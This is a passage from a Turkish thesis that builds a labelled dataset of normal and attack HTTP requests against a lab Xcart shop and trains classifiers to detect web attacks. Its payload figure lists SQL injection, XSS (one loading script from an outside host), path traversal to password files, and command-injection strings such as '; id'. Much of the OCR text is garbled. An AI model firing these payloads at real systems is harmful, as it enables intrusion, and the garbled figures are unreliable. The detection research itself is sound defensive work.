2 http://192.168.0.10/xcart/cart.php?target=categoryscategory id=4
3 http://192.168.0.10/xcart/cart.php?target=categoryscategory id=2

0
0
5 0
4 http://192.168.0.10/xcart/cart.php?target=category&category id=5
5 0
6 0
7 0
0

http://192.168.0.10/xcart/cart.php?target=categoryscategory id=6
http://192.168.0.10/xcart/cart.php?target=category&category id=7
http://192.168.0.10/xcart/cart.php?target=category&category id=8

8 http://192.168.0.10/xcart/cart.php?target=cart

S http://192.168.0.10/xcart/cart.php?target=products&product id=1
10 http://192.168.0.10/xcart/cart.php?target=producté&product id=14
11 http://192.168.0.10/xcart/cart.php?target=producté&product id=16
12 http://192.168.0.10/xcart/cart.php?target=checkout
13 http://192.168.0.10/xcart/cart.php?target=producté&product id=4
14 http://192.168.0.10/xcart/cart.php?target=productéproduct id=30

http://192.168.0.10/xcart/cart.php?target=productéproduct id=24
http://192.168.0.10/xcart/cart.php?target=producté&product id=37
17 http://192.168
18 http://192.168

10/xcart/cart.php?target=productéproduct id=10
10/xcart/cart.php?target=productéproduct_id=15
15 http://192.168.0.10/xcart/cart.php?target=productéproduct id=15&category id=6
http://192.168.0.10/xcart/cart.php?target=producté&product id=27

http://192.168.0.10/xcart/cart.php?target=productéproduct id=3
http://192.168.0.10/xcart/cart.php?target=checkoutsaction=start express checkout&ignoreCheckout=0

=0
.0.
=B
.0.
1 http://192.168.0.10/xcart/cart.php?target=productéproduct id=12
S0
0.
=0

(SR SR O S
t >

4 http://192.168.0.10/xcart/cart.php?target=new arrivals

Sekil 6.13. Xcart e-ticaret sitesinin Paros ile taranmasi sonucu elde edilen URI listesi

6.2.2. Saldir1 ve normal istek tablolarinin olusturulmasi

URI listesinin olusturulmast ile aslinda saldir1 paterni igermeyen (DOS/DDOS gibi ¢aligma
konumuzun disindaki saldirilar harictir) normal web trafiginde kullanilacak web sayfasi
yollar1 ve parametreler olusturulmustur. Normal web trafigi olusturmak icin ayni isteklerin
farkli ip adresleri ve farkli portlardan ¢ogaltilarak gonderilmesi yeterli olmustur. Bu islem
icin Burp Suite araci kullanilmig ve web sayfalarina normal trafik barindiran parametreler

ile istekler gonderilmistir.
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Saldirt istekleri SQL enjeksiyonu, XSS saldirisi, bellek tagmast saldirisi, glivensiz dogrudan
nesne erisimi, dosya kesfetme gibi bir¢ok saldirt tiiriinii kapsamaktadir. Saldir1 isteklerini
olusturmak i¢in yukarida sayilan saldirilar1 igeren veri girisleri (payload) belirlenmis ve bu
veriler web sayfalarmin aldig1 tiim parametrelere giris olarak verilmistir. Saldir1 amagl
kullanilmak tizere GET ve POST metotlar1 kullanilarak olusturulan HTTP saldirilarinda
kullanilan giris degerlerinden bazilar1 Sekil 6.14’de goriilmektedir. Web saldirilanin
olusturulmasinda kullanilan veri giris degerleri farkli atak tiirlerini barindiracak sekilde
secilmis olup toplam 199 tane farkli veri giris degeri belirlenmistir. Saldirida kullanilan veri

girig degerlerinin tamami1 Ek-1"de verilmistir.

or I=1-=

or I=1-==

or 1 in (@@version)--

or 1 in (@@version)--

; waitfor delay '0:30:0'-—-

8 1; waitfor delay '0:30:0'--

9 '] |Utl_Http.request('http://<yourservername>') from dual--
10 1]|Utl_Http.request('http://<yourservername>') from dual--
11 xsstest
12 Xsstest300"<>"' => payload

';alert (String.fromCharCode (88,83,83))//\';alert (String.fromCharCode (88,83,83))
//==-></SCRIPT>">"'><SCRIPT>alert (String.fromCharCode (88,83,83) ) </SCRIPT>
15 EEp 1 S=weXSS>=8{ () }

16 <SCRIPT SRC=http://ha.ckers.org/xss.jis></SCRIPT>
175 ))))))))))

I
-} = S = o= o=

nods woN

-

18 Lol ool ol ol sl ool sodosd o eEC/Dasswd

SN .../ o S wind o mindomndmind mndmin il e S DOOE . ADT

2 ROP, 000 SNOE, SO0 SANOE, L IORON. SR, SOPON. CIOR, DIOBO Tt o Y-l o]

DI . o N N N N e N N N e X Non e XDOOE . DT

22 .S dedodododod ok of . fWindows/win.ini
PO . o Noeo XeoNe o Xe o Ne o XNoia Xoo Xoio X \windows\win . ini
24 || ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &
25 | ping -1 30 127.0.0.1 |

286 | ping -n 30 127.0.0.1 |

27 & ping -i 30 127.0.0.1 &

28 & ping -n 30 127.0.0.1 &

29 ; ping 127.0.0.1 ;

30 %0a ping -i 30 127.0.0.1 %0a
31 ‘ping 127.0.0.1°

32 | id

33 & id

34 ; id

35 %0a id %0a

Sekil 6.14. Saldir1 isteklerinin olusturulmasinda kullanilan bazi veri girisleri

Paros aracinin Spider modiilii ile elde edilen tiim web sayfalar1 ve aldiklar1 parametreler liste
olarak hazirlanmis ve bu web sayfalar1 ve aldiklar1 parametrelerin her biri i¢in dnceden
belirlenmis olan ve saldir1 paterni igeren veri girisleri teker teker giris olarak verilip, saldir1
istekleri web sunucusuna gonderilmistir. Eger bir web sayfasi ayni anda birden fazla

parametre aliyorsa, parametrelerden birisine saldir1 verisi gonderilirken, diger parametrelere
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almasi gereken normal veri girisleri (payload) gonderilmektedir. Ayn1 anda birden fazla
parametre alindigi durumlarda tim parametrelere saldir1 verileri gonderilerek islem
tamamlanmaktadir.

Saldir iceren istekler ii¢ tipte dikkate alinmistir:

e Statik saldirilarda gizli ya da olmayan kaynaklara erisilmeye c¢alisilmaktadir. Bu
talepler; eski dosyalara erisme, URL degistirme ile oturum ¢alma, konfigiirasyon

dosyalarina ve sistemin varsayilan dosyalarina erismeyi kapsar.

e Dinamik saldirilar SQL enjeksiyonu, CRLF enjeksiyonu, XSS, bellek tagmasi vb.
saldir1 tiirlerini igeren gecerli talep arglimanlarini degistirerek gerceklestirilen

saldirilardir.

e Istenmeyen kural dis1 talepler, herhangi bir kétii niyet icermedigi halde kullanicilarin,
web uygulamasi tarafindan beklenen normal davraniglarin disinda davranis
gostermesi ile ortaya ¢ikan, normal olmayan parametre degerlerine ve yapisina sahip
olan taleplerdir. Bir kullanicinin telefon numarasi alanina sayisal degerler yerine harf

girmesi istenmeyen kural dis1 bir taleptir.

6.2.3. Web trafiklerinin kaydedilmesi

E-ticaret web uygulamasina yonelik saldir1 trafigi ve normal web trafigi olusturulurken ayn
zamanda bu web trafiginden veri seti olusturmak i¢in kaydedilmesi gerekmektedir.
Eszamanli olarak trafigin kaydedilmesinde bir network izleme araci olan Tshark araci
kullanilmistir. Tshark bir¢ok ag protokoliinii desteklemektedir. Web sunucuna gelen istekler
HTTP istekleri oldugu i¢in Tshark aracinin HTTP protokolii ve bu protokole iliskin
parametrelerini ile birlikte verilerin daha anlasilir kaydedilmesi i¢in Tshark'a 6zel protokol
bagimsiz bazi parametrelerin kullanilmasi yeterli olmustur. Saldir1 ve normal HTTP
isteklerinin kaydedilmesinde ayni komutun kullanilmasi yeterli olmugstur. Sekil 6.15'de veri

kaydetmede kullanilan Tshark komutu gériilmektedir.
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root@kali: /etc/network @ ® ©

File Edit View Search Terminal Help

:/etc/network# tshark -i eth® -Y "http.request" -T fields -E separato
r="|" -e frame.time -e urlencoded-form.key -e urlencoded-form.value -e ip.sr
C -e tcp.srcport -e ip.dst -e tcp.dstport -e http.request.version -e http.requ
est .method -e http.host -e http.request.uri -e http.user _agent -e http.respons
e.code -e http.content type -e http.content length -e http.location -e http.ref
erer -f "port 80" >> kayit dosyasi.txt
tshark: Lua: Error during loading:

[str "fusr/share/wireshark/init.lua"] :46: dofile has been disabled due to ru
nning Wireshark as superuser. See http://wiki.wireshark.org/CaptureSetup/Capture
Privileges for help in running Wireshark as an unprivileged user.

Running as user "root" and group "root". This could be dangerous.
Capturing on ‘'eth0’
51 1

Sekil 6.15. Websitesine gelen http isteklerinin eszamanli kayit edilmesi

tshark -i ethQ -Y "http.request”  -T fields -E separator="|"  -e frame.time -e
urlencoded-form.key -e urlencoded-form.value -e ip.src -e tcp.srcport -e ip.dst -e
tep.dstport -e http.request.version -e http.request.method -e http.host -e http.request.uri
-e http.user _agent -e http.response.code -e http.content_type -e http.content length -e
http.location -e http.referer -f "port 80" >> kayit dosyasi.txt

Sekil 6.15' de goriilen komutun saldir1 ve normal web istekleri olusturulurken es zamanl
olarak ayr1 bir terminalde calistirilmast sonucunda Sekil 6.16'da goriilecegi lizere, kayit
yapilan metin dosyasmin her bir satirmma bir HTML istegi istenilen ozelliklere gore

kaydedilmektedir.

Eolsdmn_sho_GET_metod_nomai et £

68.0.12]/xcart/admi

Sekil 6.16. HTML isteklerin kaydedildigi dosya
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Web trafikleri kaydedilirken, tiim trafikler tek bir dosyaya kaydedilmemistir. Toplam 8 farkli
dosya olusturulmustur. Bir dosya da; bir web sayfasina yonelik POST veya GET
metotlarindan birisi kullanilarak olusturulan saldir1 veya normal web trafigi bilgisi
bulunmaktadir. Boylece kayit dosyalarinin diizenlenmesi ve uyumlu hale getirilmesi kolay
olmustur. Ayrica kayit dosyasinin sismesi ve metin editorlerin yavaglamalarinin 6niine
gecilmistir. Toplam 80.000’e yakin kayit satir1 olusturulmustur. Her bir kayit dosyasinin
icerdigi trafik bilgileri Cizelge 6.1°de goriilmektedir.

Cizelge 6.1. Kayit Dosyalarinin Olusturulmasi

GET METODU POST METODU

admin.php cart.php admin.php cart.php

NORMAL | Admin_Get Normal.txt | Cart Get Normal.txt | Admin_Post Normal.txt | Cart Post Normal.txt

SALDIRI | Admin Get Saldiri.txt | Cart Get Saldiri.txt | Admin_ Post Saldiri.txt | Cart Post Saldiri.txt

10.03.2016 07:15:37.581509000 EDT | xcart form_id|a' or 1=1-- | 10.100.86.84 |
54443 | 10.100.86.84 | 80 | HTTP/I.1 | POST | 10.100.86.84 |
/xcart/admin.php|Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64, x64;
Trident/5.0) | | application/x-www-form-urlencoded | 31 | |
http://10.100.86.84/xcart/admin.php ?target=addons_list marketplace&landing=1

Sekil 6.15' de goriildiigii tizere bir HTTP istegine iliskin olarak

“|,)

karakteri ile ayrilmig 16
farkl1 6zellik bulunmaktadir. Bu 16 6zellik calismada kullanilacak olan 6zellikler olup veri
seti olusturulurken bu 16 6zelligin yanina bir de HTTP isteginin normal trafik veya saldir1
trafigi oldugunu belirten “normal” veya “saldiri” degerlerini alan siif etiketi gelmektedir.
Bu sinif etiketi web istekleri olusturulurken kullanilan veri girislerine (payload) bakilarak
verilmektedir. Bir web isteginde gonderilen parametrelerden herhangi birisi saldir1 paterni
igceren verilerden olusuyorsa anormal, tlim parametreler websitenin taranmasi sirasinda tespit
edilen verileri igeriyorsa normal etiketi verilmektedir. Web istekleri otomatize araclar ile
olusturuldugundan, veri girisleri kontrollii olarak yapilip, etiketleme islemi bu isleme gore

gergeklestirilmistir.

Kaydedilen web trafiklerine detaylica bakacak olursak, bir web trafigi asagidaki

parametrelerden olusmaktadir;
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Frame.time: Zaman bilgisi olup, istegin web sunucusuna geldigi saat, dakika, mikro
cinsinden detayli saniye bilgisinin yani sira giin, ay ve yil bilgilerini icermektedir. Bu verinin
kaydedilmesinin sebebi smiflandirmanin yani sira raporlama esnasinda saldir1 olarak tespit

edilen bir HTTP zaman verilerini gosterebilmektedir.

Urlencoded-form.key: HTTP isteginde POST metodu ile gecilen parametrelerin isimlerini

gostermektedir. Bu 6zellik GET metod ile gecilen parametrelerin isimlerini gostermektedir.

GET metodu ile gecilen parametreler ise aldiklar1 degerler zaten URL’de bulunmaktadir.

Urlencoded-form.value: HTTP isteginde parametrelere gecilen degerleri gostermektedir

Ip.src: Web sunucuna gelen HTTP isteginin kaynak IP adresini gostermektedir.

Tcp.sreport: HTTP isteginin kaynak port adresini gostermektedir.

Ip.dst: HTTP isteginin hedef IP adresini gostermektedir. Bu IP adresi ayn1 zamanda web

sunucusunun adresidir.

Tcp.dstport: HTTP isteginin hedef port adresini gostermektedir.

Http.request.version: HTTP isteginin HTTP versiyonunu gdstermektedir.

Http.request.method: HTTP isteginin metodunu gostermektedir. Bu 6zellik POST veya GET

degerlerini almaktadir.

Http.host: HTTP isteginin gittigi websitesinin host adresini icermektedir.

Http.request.uri: HTTP isteginin URI bilgisini, yani host adresinde itibaren yol bilgisini

gostermektedir.

Http.user_agent: Istekte bulunan kullanicinin veya saldirganin kullandigi internet

tarayicisinin ve isletim sisteminin bilgilerini igermektedir.

Http.content _type: HTTP isteginin i¢eriginin tiirlinii belirtmektedir. Gelen istek url bilgisi ve
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parametreler olabilecegi gibi, resim, video i¢eren medya ya da word, pdf, txt vb. bir dosya

da icerebilmektedir. Gelen istegin iceriginin tiiriinii gostermektedir.

Http.referer: Bu 6zellik ile gonderilen istegin hangi web sayfa araciligiyla olusturuldugu

belirlenmektedir.

6.2.4. Veri Setinin Olusturulmasi

Http isteklerinin toplanmasindan sonra, veri madenciliginde kullanilabilmesi icin veri seti
olusturulmas1 gerekmektedir. Kaydedilen http istekleri Notepad++ programi araciliyla
diizenlendikten sonra Excel programi araciliyla sinif etiketlerinin eklenmesi ve diger
diizenleme islemleri yapilarak noktali virgiil formatinda “.csv” dosyalar1 olusturulmustur.
Weka programinin ARFF goriintileme ve diizenleme araci ile “.arff” formatina
doniistiiriilmiistiir. Saldir1 iceren veya icermeyen tiim HTTP istekleri tek bir dosyada
birlestirilerek islem tamamlanmistir. Veri setinin hazirlanma asamalar1 Sekil 6.17’de

goriilmektedir.

Guvenlik Duvari Web Sunucu

Normal Kullanicilar

Veri Onisleme ve
Veri Hazirlama

'3

ﬁ'& B3 Excel

Kayit Dosyalari

Saldirgan

Veri Seti

Sekil 6.17. Veri setinin hazirlanmasi agamalari
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Sekil 6.18’de olusturulan “.arff” dosyasi, Sekil 6.19°da ise “.arff” dosyasinin formati

goriilmektedir.

® ARFF-Viewer- C:\Users\ms\Desktop\veri_seti\veri_seti_son\veri_seti_son_hali_4_09_2016_son.csv.arff =R %
File Edit View
{'veri_seti_son_hali_4_03_2016_son.csv.arff:
Relation: veri_seti_son_hali_4_09_2016_son

urlencoded-form.value ip.src ip.dst tep.dstport | http. http. http. st.uri | http.content_type | http.content_length | http.location http.referer sinif

Nominal Nominal Nominal Numeric N Nominal ‘Nominal Nominal Nominal Nominal Nominal

2859 Idear 10.100.86.124 | 57046.0[10.100.86.84 443.0[HTTP/L.1 |POST |/xcart/cart.php ... [90.0 Inull Ihttps://10. 100.86. 124/xcart/cart.php?target=cart [saldiri P
135 i i 10.100.86.126 | 59336.0]10.100.86.84 80.0[HTTP/L1 POST _|/xcartjcart.php _nul inul jnull http://10.100.86. 126/xcart/cart.php?target=cart _|normal
671 10.100.86.125 | 59336.0|10.100.86.84 80.0|HTTP/1.1 |POST  |/xcart/cart.php |null inull inull Ihttp://10.100.86. 125/xcart/cart.php?target=cart |normal
120 10.100.86.125 | 59336.0|10.100.86.84 443.0HTTP/1.1 |POST |/xcart/cart.php jnull f... jnull lhttps://10. 100.86.84/xcart/cart.php?target=cart jnormal
161 10.100.86.130 | 59336.0]10.100.86.84 80.0[HTTP/L1 PPOST _|jxcartjcart.php _nul inul ] Ittp://10. 100.86. 125/xcart/cart.php?target=cart _|normal
1615 10.100.86.123 | 59336.0[10.100.86.84 80.0|HTTP/1.1 |POST  |/xcart/cart.php |null inull inull Ihttp://10.100.86. 126/xcart/cart.php?target=cart |normal
1616 10.100.86.130 | 59336.0[10.100.86.84 443.0HTTP/1.1 |POST  |/xcartjcart.php |null f....null Ihttps://10.100.86.84/xcart/cart.php?target=cart _|normal
(1793} 10.100.86.128 | 59336.0]10.100.86.84 443.0HTTP/L1_POST _|jxcartjcart.php nul R .ol Ittps: //10. 100.86. 125/xcart/cart.php?target=cart_|normal
1794]; 10.100.86.115 | 59336.0[10.100.86.84 443.0HTTP/1.1 |POST  |/xcartjcart.php jnull icati £...null Ihttps://10.100.86. 126/xcart/cart.php?target=cart |normal
(1755 10.100.86.128 | 59336.0/10.100.86.84 80.0[HTTP/L.1 |POST _|jxcartjcart.php |nul inall inull Ihttp://10. 100.86.84/xcart/cart.php?target=cart __jnormal
1972]; 10.100.86.145 | 59336.0{10.100.86.84 80.0HTTP/1.1 |POST |/xcart/cart.php |null i £...)null https://10.100.86. 125/xcart/cart.php?target=cart jnormal
1973] 10.100.86.111 | 59336.0[10.100.86.84 B80.0[HTTP/1.1 |POST  |/xcart/cart.php |null i f....null Ihttps://10.100.86. 126/xcart/cart.php?target=cart |normal
19 10.100.86.145 | 59336.0/10.100.86.84 80.0HTTP/1.1 POST |/xcart/cart.php jnull inull inull http://10.100.86.84/xcart/cart.php?target=cart  jnormal
137 g rgul/x... |10.100.86.126 | 59338.0[10.100.86.84 80.0HTTP/L.1 |POST _|/xcart/cart.php |null inall inull Ihttp://10.100.86. 126/xcart/cart.php?target=cart |normal
673 gl qul/x.... |10.100.86.125 | 59338.0[10.100.86.84 80.0[HTTP/1.1 |POST  |/xcart/cart.php |null inull inull Ihttp://10.100.86. 125/xcart/cart.php?target=cart |normal
1209 arvirguicartvirgui/x... | 10.100.86.125 | 59338.010.100.86.84 443.0[HTTP/L1_[POST _|/xcartjcart.php _jnul 7 ] https://10. 100.86.84/xcart/cart.php?target=cart_|normal
1 g a 10.100.86.130 | 59338.0[10.100.86.84 443.0HTTP/1.1 |POST  |/xcartjcart.php |nul f.. Jnull Ihttps://10. 100.86.84/xcart/cart.php?target=cart _|normal
162 gulcartvirgul 10.100.86.130 | 59338.0[10.100.86.84 80.0[HTTP/1.1 |POST  |/xcart/cart.php |null inull inull Ihttp://10.100.86. 125/xcart/cart.php?target=cart |normal
1628 arvirguicartvirgui/x... | 10.100.86.123_| 59338.010.100.86.84 80.0[HTTP/L1 POST _|jxcartjcart.php nul inall inull ttp://10. 100.86. 1 t/cart.php?target=cart _jnormal
[1805] gl a 10.100.86.128 | 59338.0[10.100.86.84 80.0|HTTP/1.1 |POST  |/xcart/cart.php |null inull inull Ihttp://10.100.86.84/xcart/cart.php?target=cart  |normal
1806 gulcartvirgul 10.100.86.128 | 59338.0[10.100.86.84 443.0HTTP/1.1 |POST  |/xcartjcart.php |null f....null Ihttps://10.100.86. 125/xcart/cart.php?target=cart |normal
1807 arvirguicartvirgul/x... | 10.100.86.115_| 59338.010.100.86.84 #43.0HTTP/L1 POST _|jxcartjcart.php nul cati ] https://10. 100.86. 126/xcart/cart. php?target=cart_|normal
1984]; i g a 10.100.86.145 | 59338.0[10.100.86.84 80.0[HTTP/1.1 |POST  |/xcart/cart.php |null inull inull Ihttp://10.100.86.84/xcart/cart.php?target=cart  |normal
1985 gulcartvirgul/x... |10.100.86.145 | 59338.0[10.100.86.84 80.0[HTTP/1.1 |POST  |/xcart/cart.php |null f....null Ihttps://10.100.86. 125/xcart/cart.php?target=cart |normal
1986 i g gulfx..[10.100.86.111 | 59338.0[10.100.86.84 80.0[HTTP/L1 PPOST _|jxcartjcart.php nul cati ] Ittps: //10. 100.86. 126/xcart/cart.php?target=cart_|normal
223 i... |dearvirgul(SCRIPT)a... |10.100.86.125 | 57112.0/10.100.86.84 80.0[HTTP/1.1 POST  |/xcart/cart.php .. [123.0 inull Ihttp://10.100.86. 125/xcart/cart.php?target=cart _|saldiri
m dearvirgultek_tirnak ... |10.100.86.125 | 57010.0|10.100.86.84 443.0HTTP/1.1 POST |/xcart/cart.php 820 inull lhttps://10. 100.86. 125/xcart/cart.php?target=cart _|saldiri
264 i... |dearvirguidistinctvirg... |10.100.86.123 | 57036.0|10.100.86.84 80.0HTTP/L1_[POST _|jxcartjcart.php 720 inull ttps//10. 100.86. 1 tcart.php?target=cart _saldi
2726 10.100.86.128 | 56939.0[10.100.86.84 80.0[HTTP/1.1 POST  |/xcart/cart.php 73.0 inull Ihttp://10.100.86. 128/xcart/cart.php?target=cart _|saldiri
3000 (dearvirgui(SCRIPT)a... |10.100.86.125 | 57112.0[10.100.86.84 80.0[HTTP/L1 POST _|jxcart/cart.php 123.0 ol Ittp://10.100.86. 125/xcart/cart.php?target=cart _[saldiri
13073 [actionvirgultargetvi... |dearvirgultek_timak ... |10.100.86.124 | 56991.0|10.100.86.84 80.0HTTP/1.1 |POST _|/xcart/cart.php .. [83.0 inull Ihttp://10.100.86. 124/xcart/cart.php?target=cart _|saldiri
}139 ! 1virgui377virguiXLite\.... |10.100.86.126 | 59340.0(10.100.86.84 80.0[HTTP/1.1 |POST  |/xcart/cart.php |null inull inull Ihttp://10.100.86. 126/xcart/cart.php?target . |normal
675 | Ivirgui377virgui¥Lite), .. |10.100.86.125 | 59340.0|10.100.86.84 80.0[HTTP/L1 POST _|jxcartjcart.php _nul inull ol Ittp://10.100.86. 125/xcart/cart.php?target=pro... [normal
|3l i SricaulaTAdeaul¥Liba) 110100 24 125_| 50340 0110 100 26 84 aaa0) 111 _IoneT Livcartleart ob iL £ ol ire: 110100 & L 2

Sekil 6.18. Olusturulan veri setinden 6rnek goriiniim

@attribute http

@data
Gdata

'10.03.2016 03

@relation 'HGLp_

'zaman 21:33:07.
2 'zaman 21:33:07.
27 '23.04.2016 03:06:41.350883000 EDT',?,?,10.100.86.123,59370,10.100.86.84,80,HTTP/1.1,GET,10.100.86.84, /xcart/cart.php?target=chec
'23.04.2016 03:06:42.959076000 EDT',?,?,10.100.86.123,59371,10.100.86.84,80,HTTP/1.1,GET,10.100.86.84, /xcart/cart.php?target=main,|

veri_seti'

3 Q@attribute frame.time ('10.03.2016 03:22:35.030733000 EDT','10.03.2016 03:22:36.646568000 EDT','10.03.2016 03:22:38.154809000 EDT|
4 @attribute urlencoded-form.key numeri
5 Q@attribute urlencoded-form.value numeric
€ Q@attribute ip.src {10.100.86.123}

7 @attribute tep.srecport numeric

g @attribute ip.dst {10.100.86.84}

9 Q@attribute tcp.dstport numeric
.request.version {HTTP/1l.1}
@attribute http.
@attribute http.
@attribute http.
@attribute http.
@attribute http.
@attribute http.
@attribute http.
@attribute http.
@attribute sinif {normal}

request.method {GET}

host {10.100.86.84}

request.uri {/xcart/admin.php?target=main&épageld=6&sessionCell=XLiteViewltemsListModelProductAdminLowlnventoryBlod
user agent {'Mozilla/5.0 (compatible, MSIE 9.0, Windows NT 6.1, Winé4, x64, Trident/5.0)','Mozilla/5.0 (X11, Linu:
content_type {text/html}

content_length numeric

location numeric

referer {h

'10.03.2016 03:22:35.030733000 EDT',?,2,10.100.86.123,59607,10.100.86.84,80,HTTP/1.1,GET, 10.100.86.84, /xcart/admin.php?target-mair

2:36.646568000 EDT',?,?,10.100.86.123,59608,10.100.86.84,80,HTTP/1.1,GET,10.100.86.84, /xcart/admin.php?target-mar
719502000 EDT', targetvirgulactionvirgulorder idvirgulxcart form idvirgulreturnURLvirguladminNotes|S]virgulpayment!
723628000 EDT', targetvirgulactionvirgulorder idvirgulxcart form idvirgulreturnURLvirguladminNotes[5]virgulpayment!

Sekil 6.19. Olusturulan ARFF dosyasinin formati

Olusturulan

veri setinde bulanan nesnelere iliskin sayisal veriler Cizelge 6.2°de

goriilmektedir. Kayit dosyasinda bulunan, tekrar eden ve uyumsuz kayitlarin veri dnisleme

sirasinda temizlenmesi sonucunda, veri setinde toplam 4084 adet nesne olusturulmustur. Bu

nesnelerden 1939 tanesi “saldiri” etiketli, geri kalan 2145 tanesi ise “normal” sinif etiketine

sahiptir.
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Cizelge 6.2. Veri setinde bulunan nesnelerin dagilimi

GET METODU POST METODU | TOPLAM
admin.php | cart.php | admin.php | cart.php
NORMAL 1023 400 459 264 2145
SALDIRI 684 417 680 157 1939
TOPLAM 2524 1560 4084

Veri setinin dagilim grafigi Sekil 6.20°de goriilmektedir.

Veri Setini Dagilimi

1600

1422

1400
1200

1101

1000 837

600
400
200

NORMAL SALDIRI

B GET METODU POST METODU

Sekil 6.20. Veri seti dagilim grafigi

Veri setinin Ozellikleri:

e Orijinal veri seti genisletilmis HTTP/1.1 (RFC 2616) protokolii formatinda
kaydedilmistir.

e Veri setine sinif etiketi olarak kullanabilmek icin bir kolon eklenmistir. Veri setindeki
tiim nesnelere kullanilan veri giris tablosuna gore “normal” ve “saldiri” etiketleri

verilmistir.
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Veri setindeki kolonlar sunlardan olusmaktadir: “frame.time”, ‘“urlencoded-
form.key”, “urlencoded-form.value”, “ip.src”, “tcp.srcport”,

“ip.dst”, ”tep.dstport”, “http.request.version”, “http.request.method”,
“http.request.uri”, “http.user_agent”, “http.content _type”, “http.content length”,

29  ¢¢

“http.location”, “http.referer”, “sinif”

Bos olan alanlar “null” degeri ile doldurulmustur.
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7. SINIFLANDIRMA MODELLERININ OLUSTURULMASI

Calismada Xcart isimli agik kaynak kodlu e-ticaret sitesine yonelik, otomatize aracglar ile
gerceklestirilen normal ve saldir1 rneklemi tasiyan http isteklerinin normal ve saldir1 olarak
etiketlenmesi sonucunda olusturulan bir veri seti kullanilmigti. Web trafiginin
simiflandirmasinda kullanilmak i¢in veri madenciligi algoritmalar1 ile smiflandirma
modelleri olusturulmustur. Olusturulan siniflandirma modellerin egitim ve test siiregleri
asagida aciklanmistir. Weka yaziliminda bir¢ok veri madenciligi algoritmasi bulunmaktadir.
Tez calismasinda kapsaminda olusturulan simiflandirma modelleri makine &grenme
algoritmalarindan karar agaci, naive bayes, k-en yakin komsu ve ZeroR algoritmalari

kullanilarak gerceklestirilmistir.

Modellerin egitimleri sirasinda veri setinin 6grenme ve test kiimesine boliinme islemi iki
farkli yontem kullanilarak gerceklestirilmistir. Ilk yontemde veri setinde bulunan
nesnelerden rasgele olarak %66’ s1 6grenme kiimesi i¢in, geri aalan %34’ {i ise test kiimesi
olarak kullanilmustir. Ikinci yontemde ise N katli capraz gecerlilik (N-Fold Cross Validation)
yontemi N=10 olacak sekilde yapilmstir.

7.1. Karar Agaci Modeli

Karar agaci siniflandirma algoritmasi adindan da anlagilacagi lizere siniflandirma modeli
icin bir karar agaci olusturmaktadir. Bu algoritmada entropi ve bilgi kazanci (information
gain) onem kazanmaktadir. Siniflandirma modeli bir agag¢ yapisi ile kullaniciya gosterdigi

icin simiflandirma islemine iliskin daha anlagilir olmaktadir.

Karar agacinin olusturulmasi asamasinda Ogrenme kiimesi ve test kiimesinin
olusturulmasinda 10 katli capraz gegerlilik yontemi kullanilmistir. Bu sayede veri setindeki

tiim nesneler hem siniflandirmada hem de test isleminde kullanilmistir.

Karar agacinin olusturulmasinda hem 6n budama hem de sonradan budama islemleri birlikte
gerceklestirilmisti. On budama adiminda kullanilan ydntemlerden birisi azaltilmis hata
budamasidir. Bu yontem, karar agacinin i¢ diiglimlerinde asagidan yukariya dogru gezinerek,

her bir i¢ diigiimiin, en sik goriilen siif ile yer degistirilmesinin agacin dogrulugunu azaltip
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azaltmadigini kontrol etmekte ve bu kontrole dayali olarak diigiimleri budamaktadir [77, 78].
Bu budama yontemine iliskin olarak hata yapilabilecek nesne sayisi 10 olarak belirlenmistir.
Eger bir alt diigiim iist diigiime tasindiginda 10’ dan fazla nesne yanlis simiflandirilmiyorsa,
bu islem gerceklestirilerek o diigiimdeki nesnelere bir iist diiglimdeki en sik goriilen sinif
etiketi verilmektedir. Azaltilmig hata budama yontemi i¢in dikkat edilecek nesne miktart 10’
dan daha az veya daha fazla oldugu durumlarda karar agacinin siniflandirma basarisinin

diistiigli gorilmiistiir.

Diger bir uygulanan 6n budama islemi ise bir diigiimiinde bulunacak minimum nesne
sayisinin belirlenerek, bir dallanma oldugunda eger olusan diigiimde belirlenen sayidan daha
az nesne varsa o diiglimiin olusturulmamasidir. Bu islem i¢in, diigiimlerde bulunmasi
gereken minimum nesne sayisi 28 olarak belirlenmistir. Bu degerin az oldugu durumlarda
siniflandirma basaris1 artmakta fakat hem karar agaci ezberleme yapmakta hem de karar
agacinin boyutu asir1 biiylitmektedir. Bu degerin daha fazla oldugu durumlarda siniflandirma
basarisi ¢ok diismektedir. Sonradan budama isleminin efektifligini 6lgmede kullanilan giiven

faktorii (confidence factor) 0.25 olarak belirlenmistir.

On budama ve sonradan budama iglemlerinden sonra olusan agacin yaprak sayis1 34, agacin
biiyiikligii ise 67 olmaktadir. Olusturulan karar agaci biiyiik oldugu i¢in Sekil 7.1°de karar
agacinin bir kismu goriilmektedir. Sekil 7.1°de de goriilecegi tizere karar agaci olusturulurken

bilgi kazanici en fazla olan 6zellik “http.content length” olarak belirlenmistir.

1 Budanmiy AJag Yapisi

4 http.content_length = text/html: saldiri (159.0)

5 http.content_length != text/html
|  ip.src = 10.100.86.132: saldiri (105.0)
ip.src != 10.100.86.132
|  ip.src = 10.100.86.133: saldiri (66.0)
ip.src != 10.100.86.133
| ip.src = 10.100.86.110: saldiri (57.0)
ip.src != 10.100.86.110
| urlencoded-form.key = select[514],select[695],select[669],select[749],select[769],select[622],deletq
urlencoded-form.key != select[514],select[695],select[669],select[749],select[769],select[622],deley
| urlencoded-form.key = target,action,order_id,xcart_form id, returnURL,adminNotes[5],paymentMethod
urlencoded-form.key != target,action,order_id,xcart_form_id, returnURL,adminNotes[5],paymentMethd
| http.request.version = HTTP/1.1
|  http.request.uri = /xcart/admin.php?target=cloud search_dashboard loader: saldiri (39.0)|
http.request.uri != /xcart/admin.php?target=cloud search dashboard loader
| urlencoded-form.key = data[l] [membership],data[1l] [subtotalRangeBegin],new([0] [value]
urlencoded-form.key != data([1] [membership],data[1] [subtotalRangeBegin],new[0] [value]|

| ip.src = 10.100.86.125
|  http.request.method = GET: saldiri (84.0)

|
|
| |
| |
| | |
| | |
| | I |
| | | |
| | I | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | I | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | | | |
| | I | |
| | | | |
L L L ! L

I

|

|

| | |

| I |

I | ! 1

| | | 1 | http.request.method != GET

| | | 1 | | http.content_type = null: normal (39.0)

| | | | | | http.content_type != null

| | | | | | | http.request.uri = /xcart/cart.php: saldiri (57.0)

| | | | | | | http.request.uri != /xcart/cart.php

